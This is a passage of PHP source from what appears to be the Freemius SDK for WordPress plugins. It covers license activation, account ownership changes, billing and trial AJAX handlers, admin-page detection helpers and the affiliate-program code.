$installs_by_slug_map = $this->get_parent_and_addons_installs_info(); foreach ( $installs_by_slug_map as $slug => $install_info ) { if ( $slug == $this->get_slug() ) { continue; } $install = $install_info['install']; $license = $install_info['license']; if ( is_object( $license ) && $install->user_id != $license->user_id ) { $installs[] = $install->id; } } return $installs; } /** * Displays the "Change User" dialog box when the user clicks on the "Change User" button on the "Account" page. * * @author Leo Fajardo (@leorw) * @since 2.3.2 * * @param number[] $install_ids */ function _add_user_change_dialog_box( $install_ids ) { $vars = array( 'id' => $this->_module_id, 'license_owners' => $this->fetch_installs_licenses_owners_data( $install_ids ) ); fs_require_template( 'forms/user-change.php', $vars ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 */ function _add_data_debug_mode_dialog_box() { $vars = array( 'id' => $this->_module_id, ); fs_require_template( 'forms/data-debug-mode.php', $vars ); } /** * Displays a subscription cancellation dialog box when the user clicks on the "Deactivate License" * link on the "Account" page or deactivates a plugin and there's an active subscription that is * either associated with a non-lifetime single-site license or non-lifetime multisite license that * is only activated on a single production site. * * @author Leo Fajardo (@leorw) * @since 2.2.1 * * @param bool $is_license_deactivation * * @return array */ function _get_subscription_cancellation_dialog_box_template_params( $is_license_deactivation = false ) { if ( fs_is_network_admin() ) { // Subscription cancellation dialog box is currently not supported for multisite networks. return array(); } if ( $this->is_whitelabeled() ) { return array(); } $license = $this->_get_license(); /** * If the installation is associated with a non-lifetime license, which is either a single-site or only activated on a single production site (or zero), and connected to an active subscription, suggest the customer to cancel the subscription upon deactivation. * * @author Leo Fajardo (@leorw) (Comment added by Vova Feldman @svovaf) * @since 2.2.1 */ if ( ! is_object( $license ) || $license->is_lifetime() || ( ! $license->is_single_site() && $license->activated > 1 ) ) { return array(); } /** * @var FS_Subscription $subscription */ $subscription = $this->_get_subscription( $license->id ); if ( ! is_object( $subscription ) || ! $subscription->is_active() ) { return array(); } return array( 'id' => $this->_module_id, 'license' => $license, 'has_trial' => $this->is_paid_trial(), 'is_license_deactivation' => $is_license_deactivation, ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.2 */ function _add_premium_version_upgrade_selection_dialog_box() { $modules_update = get_site_transient( $this->is_theme() ? 'update_themes' : 'update_plugins' ); if ( ! isset( $modules_update->response[ $this->_plugin_basename ] ) ) { return; } $vars = array( 'id' => $this->_module_id, 'new_version' => is_object( $modules_update->response[ $this->_plugin_basename ] ) ? $modules_update->response[ $this->_plugin_basename ]->new_version : $modules_update->response[ $this->_plugin_basename ]['new_version'] ); fs_require_template( 'forms/premium-versions-upgrade-metadata.php', $vars ); fs_require_once_template( 'forms/premium-versions-upgrade-handler.php', $vars ); } /** * Displays the opt-out dialog box when the user clicks on the "Opt Out" link on the "Plugins" * page. * * @author Leo Fajardo (@leorw) * @since 1.2.1.5 */ function _add_optout_dialog() { if ( $this->is_theme() ) { $vars = null; fs_require_once_template( '/js/jquery.content-change.php', $vars ); } $vars = array( 'id' => $this->_module_id ); fs_require_template( 'forms/optout.php', $vars ); } /** * Prepare page to include all required UI and logic for the license activation dialog. * * @author Vova Feldman (@svovaf) * @since 1.2.0 */ function _add_license_activation() { if ( $this->is_migration() ) { return; } if ( ! $this->is_user_admin() ) { // Only admins can activate a license. return; } if ( ! $this->has_paid_plan() ) { // Module doesn't have any paid plans. return; } if ( $this->has_premium_version() && ! $this->is_premium() && /** * Also handle the case when an upgrade was made using the free version. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ ! is_object( $this->_get_license() ) ) { // Only add license activation logic to the premium version, or in case of a serviceware plugin, also in the free version. return; } // Add license activation link and AJAX request handler. if ( self::is_plugins_page() ) { $is_network_admin = fs_is_network_admin(); if ( ( $is_network_admin && $this->is_network_active() && ! $this->is_network_delegated_connection() ) || ( ! $is_network_admin && ( ! $this->is_network_active() || $this->is_delegated_connection() ) ) ) { if ( $this->is_premium() || ( $this->has_paid_plan() && ! $this->has_premium_version() ) ) { /** * @since 1.2.0 Add license action link only on plugins page. */ $this->_add_license_action_link(); } } } // Add license activation AJAX callback. $this->add_ajax_action( 'activate_license', array( &$this, '_activate_license_ajax_action' ) ); // Add resend license AJAX callback. $this->add_ajax_action( 'resend_license_key', array( &$this, '_resend_license_key_ajax_action' ) ); } /** * Prepares page to include all required UI and logic for the "Change User" dialog. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ function _add_user_change_option() { if ( ! $this->should_handle_user_change() ) { return; } $installs_ids_with_foreign_licenses = $this->get_installs_ids_with_foreign_licenses(); if ( empty( $installs_ids_with_foreign_licenses ) ) { // Handle user change only when the parent product or one of its add-ons is activated with a foreign license. return; } // Add user change AJAX handler. $this->add_ajax_action( 'change_user', array( &$this, '_user_change_ajax_action' ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.2 */ function should_handle_user_change() { if ( ! $this->is_user_admin() ) { // Only admins can change user. return false; } if ( $this->is_addon() ) { return false; } if ( ! $this->is_registered() ) { return false; } if ( $this->is_network_active() && ( fs_is_network_admin() || ! $this->is_site_delegated_connection() ) ) { // Handle only on site-level "Account" section for now. return false; } return true; } /** * @author Leo Fajardo (@leorw) * @since 2.0.2 */ function _add_premium_version_upgrade_selection() { if ( ! $this->is_user_admin() ) { return; } if ( ! $this->is_premium() || $this->has_any_active_valid_license() ) { // This is relevant only to the free versions and premium versions without an active license. return; } if ( self::is_updates_page() || ( $this->is_plugin() && self::is_plugins_page() ) ) { $this->_add_premium_version_upgrade_selection_action(); } } /** * @author Edgar Melkonyan * @since 2.4.1 * * @throws Freemius_Exception */ function _toggle_whitelabel_mode_ajax_handler() { $this->_logger->entrance(); $this->check_ajax_referer( 'toggle_whitelabel_mode' ); if ( ! $this->is_user_admin() ) { // Only for admins. self::shoot_ajax_failure(); } $license = $this->get_api_user_scope()->call( "/licenses/{$this->_site->license_id}.json", 'put', array( 'is_whitelabeled' => ! $this->_license->is_whitelabeled ) ); if ( ! $this->is_api_result_entity( $license ) ) { self::shoot_ajax_failure( FS_Api::is_api_error_object( $license ) ? $license->error->message : fs_text_inline( "An unknown error has occurred while trying to toggle the license's white-label mode.", 'unknown-error-occurred', $this->get_slug() ) ); } $this->_license->is_whitelabeled = $license->is_whitelabeled; $this->_store_licenses(); $this->_sync_license(); if ( ! $license->is_whitelabeled ) { $this->_admin_notices->remove_sticky( 'license_whitelabeled' ); } else { $this->_admin_notices->add_sticky( sprintf( $this->get_text_inline( 'Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.', 'license_whitelabeled' ), "{$this->get_plugin_title()}", sprintf( '%s', $this->get_text_inline( 'User Dashboard', 'user-dashboard' ) ), sprintf( '%s', $this->get_text_inline( 'revert it now', 'revert-it-now' ) ) ), 'license_whitelabeled' ); } self::shoot_ajax_response( array( 'success' => true ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 */ function _add_beta_mode_update_handler() { if ( ! $this->is_user_admin() ) { return; } if ( ! $this->is_premium() ) { return; } $this->add_ajax_action( 'set_beta_mode', array( &$this, '_set_beta_mode_ajax_handler' ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 */ function _set_beta_mode_ajax_handler() { $this->_logger->entrance(); $this->check_ajax_referer( 'set_beta_mode' ); if ( ! $this->is_user_admin() ) { // Only for admins. self::shoot_ajax_failure(); } $is_beta = trim( fs_request_get( 'is_beta', '', 'post' ) ); if ( empty( $is_beta ) || ! in_array( $is_beta, array( 'true', 'false' ) ) ) { self::shoot_ajax_failure(); } $site = $this->api_site_call( '', 'put', array( 'is_beta' => ( 'true' == $is_beta ), 'fields' => 'is_beta' ) ); if ( ! $this->is_api_result_entity( $site ) ) { self::shoot_ajax_failure( FS_Api::is_api_error_object( $site ) ? $site->error->message : fs_text_inline( "An unknown error has occurred while trying to set the user's beta mode.", 'unknown-error-occurred', $this->get_slug() ) ); } $this->_site->is_beta = $site->is_beta; $this->_store_site(); self::shoot_ajax_response( array( 'success' => true ) ); } /** * License activation WP AJAX handler. * * @author Leo Fajardo (@leorw) * @since 1.1.9 * * @uses Freemius::activate_license() */ function _activate_license_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'activate_license' ); $license_key = trim( fs_request_get_raw( 'license_key' ) ); if ( empty( $license_key ) ) { exit; } $sites = fs_is_network_admin() ? fs_request_get( 'sites', array(), 'post' ) : array(); $result = $this->activate_license( $license_key, $sites, fs_request_get_bool( 'is_marketing_allowed', null ), fs_request_get( 'blog_id', null ), fs_request_get( 'module_id', null, 'post' ), fs_request_get( 'user_id', null ), fs_request_get_bool( 'is_extensions_tracking_allowed', null ), fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ) ); if ( $result['success'] && $this->is_bundle_license_auto_activation_enabled() ) { $license = new FS_Plugin_License(); $license->secret_key = $license_key; $this->maybe_activate_bundle_license( $license, $sites ); } echo json_encode( $result ); exit; } /** * User change WP AJAX handler. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ function _user_change_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'change_user' ); $new_email_address = trim( fs_request_get( 'email_address', '' ) ); $new_user_id = fs_request_get( 'user_id' ); if ( empty( $new_email_address ) && ! FS_User::is_valid_id( $new_user_id ) ) { self::shoot_ajax_failure( fs_text_inline( 'Invalid new user ID or email address.', 'invalid-new-user-id-or-email', $this->get_slug() ) ); } $params = array(); if ( ! empty( $new_email_address ) ) { $params['user_email'] = $new_email_address; } else { $params['user_id'] = $new_user_id; } $installs_info_by_slug_map = $this->get_parent_and_addons_installs_info(); $install_ids = array(); foreach ( $installs_info_by_slug_map as $slug => $install_info ) { $install_ids[ $slug ] = $install_info['install']->id; } $params['install_ids'] = implode( ',', array_values( $install_ids ) ); $install = $this->get_api_site_scope()->call( $this->add_show_pending( '/' ), 'put', $params ); if ( FS_Api::is_api_error( $install ) ) { $error = ''; if ( is_object( $install ) ) { switch ( $install->error->code ) { case 'user_exist': $error = ( $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...' . $this->get_text_inline( 'Sorry, we could not complete the email update. Another user with the same email is already registered.', 'user-exist-message' ) . ' ' . sprintf( $this->get_text_inline( 'If you would like to give up the ownership of the %s\'s account to %s click the Change Ownership button.', 'user-exist-message_ownership' ), $this->_module_type, '' . $new_email_address . '' ) . sprintf( '', $this->get_account_url( 'change_owner', array( 'state' => 'init', 'candidate_email' => $new_email_address ) ), $this->get_text_inline( 'Change Ownership', 'change-ownership' ) ) ); break; } } if ( empty( $error ) ) { $error = FS_Api::is_api_error_object( $install ) ? $install->error->message : var_export( $install->error, true ); } self::shoot_ajax_failure( $error ); } else { if ( // If successful ownership change. $this->get_user()->id != $install->user_id || ! empty( $new_email_address ) ) { $this->complete_ownership_change_by_license( $install->user_id, $install_ids ); } } self::shoot_ajax_success(); } /** * @author Leo Fajardo (@leorw) * @since 2.3.2.14 */ function starting_migration() { if ( ! empty( $this->_storage->license_migration ) ) { // Do not overwrite the data if already set. return; } $this->_storage->license_migration = array( 'is_migrating' => true, 'start_timestamp' => time() ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.2.14 */ function is_migration() { if ( $this->is_addon() ) { return $this->get_parent_instance()->is_migration(); } if ( empty( $this->_storage->license_migration ) ) { return false; } if ( ! $this->_storage->license_migration['is_migrating'] ) { return false; } return ( // Return `true` if the migration is within 5 minutes from the starting time. ( time() - $this->_storage->license_migration['start_timestamp'] ) <= WP_FS__TIME_5_MIN_IN_SEC ); } /** * * A helper method to activate migrated licenses. If the product is network activated and integrated, the method will network activate the license. * * @author Vova Feldman (@svovaf) * @since 2.3.0 * * @param string $license_key * @param null|bool $is_marketing_allowed * @param null|number $plugin_id * @param array $sites * @param int $blog_id * * @return array { * @var bool $success * @var string $error * @var string $next_page * } * * @uses Freemius::activate_license() */ function activate_migrated_license( $license_key, $is_marketing_allowed = null, $plugin_id = null, $sites = array(), $blog_id = null ) { $this->_logger->entrance(); $result = $this->activate_license( $license_key, ( empty( $sites ) && is_null( $blog_id ) && $this->is_network_active() ) ? $this->get_sites_for_network_level_optin() : $sites, $is_marketing_allowed, $blog_id, $plugin_id ); // No need to show the sticky after license activation notice after migrating a license. $this->_admin_notices->remove_sticky( 'plan_upgraded' ); return $result; } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @return string */ function get_pricing_js_path() { if ( ! isset( $this->_pricing_js_path ) ) { $pricing_js_path = $this->apply_filters( 'freemius_pricing_js_path', '' ); if ( empty( $pricing_js_path ) ) { global $fs_active_plugins; foreach ( $fs_active_plugins->plugins as $sdk_path => $data ) { if ( $data->plugin_path == $this->get_plugin_basename() ) { $plugin_or_theme_root_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) ); $pricing_js_path = $plugin_or_theme_root_dir . '/' // The basename will be `plugins`, `themes`, or the basename of a custom plugins or themes directory. . str_replace( '../' . basename( $plugin_or_theme_root_dir ) . '/', '', $sdk_path ) . '/includes/freemius-pricing/freemius-pricing.js'; break; } } } $this->_pricing_js_path = $pricing_js_path; } return $this->_pricing_js_path; } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @return bool */ function should_use_external_pricing() { if ( is_null( $this->_use_external_pricing ) ) { $pricing_js_path = $this->get_pricing_js_path(); $this->_use_external_pricing = ( empty( $pricing_js_path ) || ! file_exists( $pricing_js_path ) ); } return $this->_use_external_pricing; } /** * The implementation of this method was previously in `_activate_license_ajax_action()`. * * @author Vova Feldman (@svovaf) * @since 2.2.4 * @since 2.0.0 When a super-admin that hasn't connected before is network activating a license and excluding some of the sites for the license activation, go over the unselected sites in the network and if a site is not connected, skipped, nor delegated, if it's a freemium product then just skip the connection for the site, if it's a premium only product, delegate the connection and license activation to the site admin (Vova Feldman @svovaf). * @param string $license_key * @param array $sites * @param null|bool $is_marketing_allowed * @param null|int $blog_id * @param null|number $plugin_id * @param null|number $license_owner_id * @param bool|null $is_extensions_tracking_allowed * @param bool|null $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint. * * * @return array { * @var bool $success * @var string $error * @var string $next_page * } */ private function activate_license( $license_key, $sites = array(), $is_marketing_allowed = null, $blog_id = null, $plugin_id = null, $license_owner_id = null, $is_extensions_tracking_allowed = null, $is_diagnostic_tracking_allowed = null ) { $this->_logger->entrance(); $license_key = trim( $license_key ); $is_network_activation_or_migration = ( fs_is_network_admin() || ( ! empty( $sites ) && $this->is_migration() ) ); if ( ! $is_network_activation_or_migration ) { // If the license activation is executed outside the context of a network admin, ignore the sites collection. $sites = array(); } $fs = ( empty($plugin_id) || $plugin_id == $this->_module_id ) ? $this : $this->get_addon_instance( $plugin_id ); FS_Permission_Manager::instance( $this )->update_permissions_tracking_flag( array( FS_Permission_Manager::PERMISSION_DIAGNOSTIC => $is_diagnostic_tracking_allowed, FS_Permission_Manager::PERMISSION_EXTENSIONS => $is_extensions_tracking_allowed, ) ); $error = false; $next_page = false; $has_valid_blog_id = is_numeric( $blog_id ); $user = null; if ( $fs->is_addon() && $fs->get_parent_instance()->is_registered() ) { /** * When activating an add-on's license and the parent is opted-in, activate the license with the parent's opted-in user context. * * @author Vova Feldman (@svovaf) */ $user = $fs->get_parent_instance()->get_current_or_network_user(); } else if ( $fs->is_registered() ) { $user = $fs->get_current_or_network_user(); } if ( $has_valid_blog_id ) { /** * If a specific blog ID was provided, activate the license only on the specific blog that is associated with the given blog ID. * * @author Leo Fajardo (@leorw) */ $fs->switch_to_blog( $blog_id ); } if ( is_object( $user ) ) { $result = true; if ( $is_network_activation_or_migration && ! $has_valid_blog_id ) { // If no specific blog ID was provided, activate the license for all sites in the network. $blog_2_install_map = array(); $site_ids = array(); foreach ( $sites as $site ) { if ( ! isset( $site['blog_id'] ) || ! is_numeric( $site['blog_id'] ) ) { continue; } $install = $fs->get_install_by_blog_id( $site['blog_id'] ); if ( is_object( $install ) ) { $blog_2_install_map[ $site['blog_id'] ] = $install; } else { $site_ids[] = $site['blog_id']; } } if ( ! empty( $blog_2_install_map ) ) { $result = $fs->activate_license_on_many_installs( $user, $license_key, $blog_2_install_map ); } if ( true === $result && ! empty( $site_ids ) ) { $result = $fs->activate_license_on_many_sites( $user, $license_key, $site_ids ); } } else { if ( $fs->is_registered() ) { $params = array( 'license_key' => $fs->apply_filters( 'license_key', $license_key ) ); $install_ids = array(); $change_owner = FS_User::is_valid_id( $license_owner_id ); if ( $change_owner ) { $params['user_id'] = $license_owner_id; $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info(); foreach ( $installs_info_by_slug_map as $slug => $install_info ) { $install_ids[ $slug ] = $install_info['install']->id; } $params['install_ids'] = implode( ',', array_values( $install_ids ) ); } $api = $fs->get_api_site_scope(); $result = $api->call( $fs->add_show_pending( '/' ), 'put', $params ); if ( ! FS_Api::is_api_error( $result ) ) { $install = $result; $fs->reconnect_locally( $has_valid_blog_id ); if ( $change_owner && // If successful ownership change. $fs->get_user()->id != $install->user_id ) { $fs->complete_ownership_change_by_license( $install->user_id, $install_ids ); } } } else /* ( $fs->is_addon() && $fs->get_parent_instance()->is_registered() ) */ { $result = $fs->activate_license_on_site( $user, $license_key ); } } if ( true !== $result && ! FS_Api::is_api_result_entity( $result ) ) { if ( FS_Api::is_blocked( $result ) ) { $result->error->message = $this->generate_api_blocked_notice_message_from_result( $result ); } $error = FS_Api::is_api_error_object( $result ) ? $result->error->message : var_export( $result, true ); } else { $fs->network_upgrade_mode_completed(); $fs->_user = $user; if ( fs_is_network_admin() && ! $has_valid_blog_id ) { $fs->_site = $fs->get_network_install(); } $fs->_sync_license( true, $has_valid_blog_id ); $this->maybe_sync_install_user(); $next_page = $fs->is_addon() ? $fs->get_parent_instance()->get_account_url() : $fs->get_after_activation_url( 'after_connect_url' ); } } else { $next_page = $fs->opt_in( false, false, false, $license_key, false, false, false, $is_marketing_allowed, $sites ); if ( isset( $next_page->error ) ) { $error = $next_page->error; } else { if ( $is_network_activation_or_migration ) { /** * Get the list of sites that were just opted-in (and license activated). * This is an optimization for the next part below saving some DB queries. */ $connected_sites = array(); foreach ( $sites as $site ) { if ( isset( $site['blog_id'] ) && is_numeric( $site['blog_id'] ) ) { $connected_sites[ $site['blog_id'] ] = true; } } $all_sites = self::get_sites(); $pending_blog_ids = array(); /** * Check if there are any sites that are not connected, skipped, nor delegated. For every site that falls into that category, if the product is freemium, skip the connection. If the product is premium only, delegate the connection to the site administrator. * * @author Vova Feldman (@svovaf) */ foreach ( $all_sites as $site ) { $blog_id = self::get_site_blog_id( $site ); if ( isset( $connected_sites[ $blog_id ] ) ) { // Site was just connected. continue; } if ( $fs->is_installed_on_site( $blog_id ) ) { // Site was already connected before. continue; } if ( $fs->is_site_delegated_connection( $blog_id ) ) { // Site's connection was delegated. continue; } if ( $fs->is_anonymous_site( $blog_id ) ) { // Site connection was already skipped. continue; } $pending_blog_ids[] = $blog_id; } if ( ! empty( $pending_blog_ids ) ) { if ( $fs->is_freemium() && $fs->is_enable_anonymous() ) { $fs->skip_connection( $pending_blog_ids ); } else { $fs->delegate_connection( $pending_blog_ids ); } } } } } if ( false === $error && true === $fs->_storage->require_license_activation ) { $fs->_storage->require_license_activation = false; } $result = array( 'success' => ( false === $error ) ); if ( false !== $error ) { $result['error'] = $fs->apply_filters( 'opt_in_error_message', $error ); } else { if ( $fs->is_addon() || $fs->has_addons() ) { /** * Purge the valid user licenses cache so that when the "Account" or the "Add-Ons" page is loaded, * an updated valid user licenses collection will be fetched from the server which is used to also * update the account add-ons (add-ons the user has licenses for). * * @author Leo Fajardo (@leorw) * @since 2.2.4 */ $fs->purge_valid_user_licenses_cache(); } $result['next_page'] = $next_page; } return $result; } /** * @author Leo Fajardo (@leorw) * @since 2.3.2 * * @return array { * @key string Product slug. * @value array { * @property FS_Site $site * @property FS_Plugin_License $license * } * } */ private function get_parent_and_addons_installs_info() { $fs = $this->is_addon() ? $this->get_parent_instance() : $this; $installed_addons_ids = array(); $installed_addons_instances = $fs->get_installed_addons(); foreach ( $installed_addons_instances as $instance ) { $installed_addons_ids[] = $instance->get_id(); } $addons_ids = array_unique( array_merge( $installed_addons_ids, $fs->get_updated_account_addons() ) ); // Add parent product info. $installs_info_by_slug_map = array( $fs->get_slug() => array( 'install' => $fs->get_site(), 'license' => $fs->_get_license() ) ); foreach ( $addons_ids as $addon_id ) { $is_installed = isset( $installed_addons_ids_map[ $addon_id ] ); $addon_info = $fs->_get_addon_info( $addon_id, $is_installed ); if ( ! isset( $addon_info['is_connected'] ) || ! $addon_info['is_connected'] ) { // Add-on is not associated with an install entity. continue; } $installs_info_by_slug_map[ $addon_info['slug'] ] = array( 'install' => $addon_info['site'], 'license' => isset( $addon_info['license'] ) ? $addon_info['license'] : null ); } return $installs_info_by_slug_map; } /** * @author Leo Fajardo (@leorw) * @since 1.2.3.1 */ function _network_activate_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'network_activate' ); $plugin_id = fs_request_get( 'module_id', '', 'post' ); $fs = ( $plugin_id == $this->_module_id ) ? $this : $this->get_addon_instance( $plugin_id ); $error = false; $sites = fs_request_get( 'sites', array(), 'post' ); if ( is_array( $sites ) && ! empty( $sites ) ) { $sites_by_action = array( 'allow' => array(), 'delegate' => array(), 'skip' => array() ); foreach ( $sites as $site ) { $sites_by_action[ $site['action'] ][] = $site; } $total_sites = count( $sites ); $total_sites_to_delegate = count( $sites_by_action['delegate'] ); $next_page = ''; $has_any_install = fs_request_get_bool( 'has_any_install' ); if ( $total_sites === $total_sites_to_delegate && ! $this->is_network_upgrade_mode() && ! $has_any_install ) { $this->delegate_connection(); } else { if ( ! empty( $sites_by_action['delegate'] ) ) { $this->delegate_connection( self::get_sites_blog_ids( $sites_by_action['delegate'] ) ); } if ( ! empty( $sites_by_action['skip'] ) ) { $this->skip_connection( self::get_sites_blog_ids( $sites_by_action['skip'] ) ); } if ( empty( $sites_by_action['allow'] ) ) { if ( $has_any_install ) { $first_install = $fs->find_first_install(); if ( ! is_null( $first_install ) ) { $fs->_site = $first_install['install']; $fs->_storage->network_install_blog_id = $first_install['blog_id']; $fs->_user = self::_get_user_by_id( $fs->_site->user_id ); $fs->_storage->network_user_id = $fs->_user->id; } } } else { if ( ! $fs->is_registered() || ! $this->_is_network_active ) { $next_page = $fs->opt_in( false, false, false, false, false, false, false, fs_request_get_bool( 'is_marketing_allowed', null ), $sites_by_action['allow'] ); } else { $next_page = $fs->install_with_user( $this->get_network_user(), false, false, false, true, $sites_by_action['allow'] ); } if ( is_object( $next_page ) && isset( $next_page->error ) ) { $error = $next_page->error; } } } if ( empty( $next_page ) ) { $next_page = $this->get_after_activation_url( 'after_network_activation_url' ); } } else { $error = $this->get_text_inline( 'Invalid site details collection.', 'invalid_site_details_collection' ); } $result = array( 'success' => ( false === $error ) ); if ( false !== $error ) { $result['error'] = $error; } else { $result['next_page'] = $next_page; } echo json_encode( $result ); exit; } /** * Billing update AJAX callback. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 */ function _update_billing_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'update_billing' ); if ( ! $this->is_user_admin() ) { // Only for admins. self::shoot_ajax_failure(); } $billing = fs_request_get( 'billing' ); $api = $this->get_api_user_scope(); $result = $api->call( '/billing.json', 'put', array_merge( $billing, array( 'plugin_id' => $this->get_parent_id(), ) ) ); if ( ! $this->is_api_result_entity( $result ) ) { self::shoot_ajax_failure(); } // Purge cached billing. $this->get_api_user_scope()->purge_cache( 'billing.json' ); self::shoot_ajax_success(); } /** * Trial start for anonymous users (AJAX callback). * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 */ function _start_trial_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'start_trial' ); if ( ! $this->is_user_admin() ) { // Only for admins. self::shoot_ajax_failure(); } $trial_data = fs_request_get( 'trial' ); $next_page = $this->opt_in( false, false, false, false, false, $trial_data['plan_id'] ); if ( is_object( $next_page ) && $this->is_api_error( $next_page ) ) { self::shoot_ajax_failure( isset( $next_page->error ) ? $next_page->error->message : var_export( $next_page, true ) ); } $this->shoot_ajax_success( array( 'next_page' => $next_page, ) ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.0 */ function _resend_license_key_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'resend_license_key' ); $email_address = sanitize_email( trim( fs_request_get( 'email', '', 'post' ) ) ); if ( empty( $email_address ) ) { exit; } $error = false; $api = $this->get_api_plugin_scope(); $result = $api->call( '/licenses/resend.json', 'post', array( 'email' => $email_address, 'url' => home_url(), ) ); if ( is_object( $result ) && isset( $result->error ) ) { $error = $result->error; if ( in_array( $error->code, array( 'invalid_email', 'no_user' ) ) ) { $error = $this->get_text_inline( "We couldn't find your email address in the system, are you sure it's the right address?", 'email-not-found' ); } else if ( 'no_license' === $error->code ) { $error = $this->get_text_inline( "We can't see any active licenses associated with that email address, are you sure it's the right address?", 'no-active-licenses' ); } else { $error = $error->message; } } $licenses = array( 'success' => ( false === $error ) ); if ( false !== $error ) { $licenses['error'] = sprintf( '%s... %s', $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ), strtolower( $error ) ); } echo json_encode( $licenses ); exit; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.8 * * @var string */ private static $_pagenow; /** * Get current page or the referer if executing a WP AJAX request. * * @author Vova Feldman (@svovaf) * @since 1.2.1.8 * * @return string */ static function get_current_page() { if ( ! isset( self::$_pagenow ) ) { global $pagenow; if ( empty( $pagenow ) && is_admin() && is_multisite() ) { /** * It appears that `$pagenow` is not yet initialized in some network admin pages when this method * is called, so initialize it here using some pieces of code from `wp-includes/vars.php`. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ if ( is_network_admin() ) { preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } else if ( is_user_admin() ) { preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } else { preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches ); } $pagenow = $self_matches[1]; $pagenow = trim( $pagenow, '/' ); $pagenow = preg_replace( '#\?.*?$#', '', $pagenow ); if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) { $pagenow = 'index.php'; } else { preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches ); $pagenow = strtolower( $self_matches[1] ); if ( '.php' !== substr($pagenow, -4, 4) ) $pagenow .= '.php'; // for Options +Multiviews: /wp-admin/themes/index.php (themes.php is queried) } } self::$_pagenow = $pagenow; if ( self::is_ajax() && 'admin-ajax.php' === $pagenow ) { $referer = fs_get_raw_referer(); if ( is_string( $referer ) ) { $parts = explode( '?', $referer ); self::$_pagenow = basename( $parts[0] ); } } } return self::$_pagenow; } /** * Helper method to check if user in the plugins page. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @return bool */ static function is_plugins_page() { return ( 'plugins.php' === self::get_current_page() ); } /** * @author Leo Fajardo (@leorw) * @since 2.2.3 * * @return bool */ static function is_plugin_install_page() { return ( 'plugin-install.php' === self::get_current_page() ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.2 * * @return bool */ static function is_updates_page() { return ( 'update-core.php' === self::get_current_page() ); } /** * Helper method to check if user in the themes page. * * @author Vova Feldman (@svovaf) * @since 1.2.2.6 * * @return bool */ static function is_themes_page() { return ( 'themes.php' === self::get_current_page() ); } #---------------------------------------------------------------------------------- #region Affiliation #---------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @return bool */ function has_affiliate_program() { if ( ! is_object( $this->_plugin ) ) { return false; } return $this->_plugin->has_affiliate_program(); } /** * Get Plugin ID under which we will track affiliate application. * * This could either be the Bundle ID or the main plugin ID. * * @return number Bundle ID if developer has provided one, else the main plugin ID. */ private function get_plugin_id_for_affiliate_terms() { return $this->has_bundle_context() ? $this->get_bundle_id() : $this->_plugin->id; } /** * @author Leo Fajardo (@leorw) * @since 1.2.4 */ private function fetch_affiliate_terms() { if ( ! is_object( $this->plugin_affiliate_terms ) ) { /** * In case we have a bundle set in SDK configuration, we would like to use that for affiliates, not the main plugin. */ $plugins_api = $this->has_bundle_context() ? $this->get_api_bundle_scope() : $this->get_api_plugin_scope(); $affiliate_terms = $plugins_api->get( '/aff.json?type=affiliation', false ); /** * At this point, we intentionally don't fallback to the main plugin, because the developer has chosen to use bundle. So it makes sense the affiliate program should be in context to the bundle too. */ if ( ! $this->is_api_result_entity( $affiliate_terms ) ) { return; } $this->plugin_affiliate_terms = new FS_AffiliateTerms( $affiliate_terms ); } } /** * @author Leo Fajardo (@leorw) * @since 1.2.4 */ private function fetch_affiliate_and_custom_terms() { if ( ! empty( $this->_storage->affiliate_application_data ) ) { $application_data = $this->_storage->affiliate_application_data; $flush = ( ! isset( $application_data['status'] ) || 'pending' === $application_data['status'] ); $plugin_id_for_affiliate = $this->get_plugin_id_for_affiliate_terms(); $users_api = $this->get_api_user_scope(); $result = $users_api->get( "/plugins/{$plugin_id_for_affiliate}/aff/{$this->plugin_affiliate_terms->id}/affiliates.json", $flush ); if ( $this->is_api_result_object( $result, 'affiliates' ) ) { if ( ! empty( $result->affiliates ) ) { $affiliate = new FS_Affiliate( $result->affiliates[0] ); if ( ! isset( $application_data['status'] ) || $application_data['status'] !== $affiliate->status ) { $application_data['status'] = $affiliate->status; $this->_storage->affiliate_application_data = $application_data; } if ( $affiliate->is_using_custom_terms ) { $affiliate_terms = $users_api->get( "/plugins/{$this->_plugin->id}/affiliates/{$affiliate->id}/aff/{$affiliate->custom_affiliate_terms_id}.json", $flush ); if ( 